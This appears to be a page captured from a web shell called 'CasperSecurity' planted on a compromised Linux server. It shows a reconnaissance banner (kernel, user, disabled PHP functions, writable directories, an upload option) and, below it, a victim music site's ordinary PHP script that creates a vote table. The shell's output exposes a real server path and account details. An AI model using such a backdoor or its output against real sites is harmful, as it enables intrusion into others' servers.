T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/public_html/create_track_votes_table.php
<?php
/**
 * Script to create the track_votes table if it doesn't exist
 * This fixes the "Database error while processing vote" issue
 */

require_once 'config/database.php';

header('Content-Type: text/html; charset=utf-8');
echo "<!DOCTYPE html><html><head><title>Create Track Votes Table</title>";
echo "<style>
    body { font-family: Arial, sans-serif; margin: 20px; background: #1a1a1a; color: #e0e0e0; }
    .success { color: #4ade80; }
    .error { color: #f87171; }
    .info { color: #60a5fa; }
</style></head><body>";

echo "<h1>🔧 Create Track Votes Table</h1>";

try {
    $pdo = getDBConnection();
    
    if (!$pdo) {
        echo "<p class='error'>❌ Database connection failed</p>";
        exit;
    }
    
    // Check if table already exists
    $check_stmt = $pdo->query("SHOW TABLES LIKE 'track_votes'");
    $table_exists = $check_stmt->rowCount() > 0;
    
    if ($table_exists) {
        echo "<p class='info'>â„šī¸ Table 'track_votes' already exists.</p>";
        
        // Show table structure
        $desc_stmt = $pdo->query("DESCRIBE track_votes");
        $columns = $desc_stmt->fetchAll(PDO::FETCH_ASSOC);
        
        echo "<h3>Table Structure:</h3>";
        echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
        echo "<tr><th>Field</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th></tr>";
        foreach ($columns as $col) {
            echo "<tr>";
            echo "<td>" . htmlspecialchars($col['Field']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Type']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Null']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Key']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Default'] ?? 'NULL') . "</td>";
            echo "</tr>";
        }
        echo "</table>";
        
        echo "<p class='success'>✅ Table is ready to use!</p>";
    } else {
        echo "<p class='info'>â„šī¸ Table 'track_votes' does not exist. Creating it now...</p>";
        
        // Create the table
        $pdo->exec("
            CREATE TABLE IF NOT EXISTS track_votes (
                id INT AUTO_INCREMENT PRIMARY KEY,
                track_id INT NOT NULL,
                user_id INT NOT NULL,
                vote_type ENUM('up', 'down') NOT NULL,
                created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
                UNIQUE KEY unique_vote (track_id, user_id),
                FOREIGN KEY (track_id) REFERENCES music_tracks(id) ON DELETE CASCADE,
                FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE,
                INDEX idx_track_votes_track (track_id),
                INDEX idx_track_votes_user (user_id)
            )
        ");
        
        echo "<p class='success'>✅ Table 'track_votes' created successfully!</p>";
        
        // Show table structure
        $desc_stmt = $pdo->query("DESCRIBE track_votes");
        $columns = $desc_stmt->fetchAll(PDO::FETCH_ASSOC);
        
        echo "<h3>Table Structure:</h3>";
        echo "<table border='1' style='border-collapse: collapse; width: 100%;'>";
        echo "<tr><th>Field</th><th>Type</th><th>Null</th><th>Key</th><th>Default</th></tr>";
        foreach ($columns as $col) {
            echo "<tr>";
            echo "<td>" . htmlspecialchars($col['Field']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Type']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Null']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Key']) . "</td>";
            echo "<td>" . htmlspecialchars($col['Default'] ?? 'NULL') . "</td>";
            echo "</tr>";
        }
        echo "</table>";
    }
    
    echo "<hr>";
    echo "<p class='success'><strong>✅ Done!</strong> The voting functionality should now work correctly.</p>";
    echo "<p><a href='artist_profile_clean.php' style='color: #60a5fa;'>← Back to Artist Profile</a></p>";
    
} catch (PDOException $e) {
    echo "<p class='error'>❌ Database Error: " . htmlspecialchars($e->getMessage()) . "</p>";
    echo "<p class='error'>Error Code: " . $e->getCode() . "</p>";
} catch (Exception $e) {
    echo "<p class='error'>❌ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
}

echo "</body></html>";
?>


CasperSecurity Mini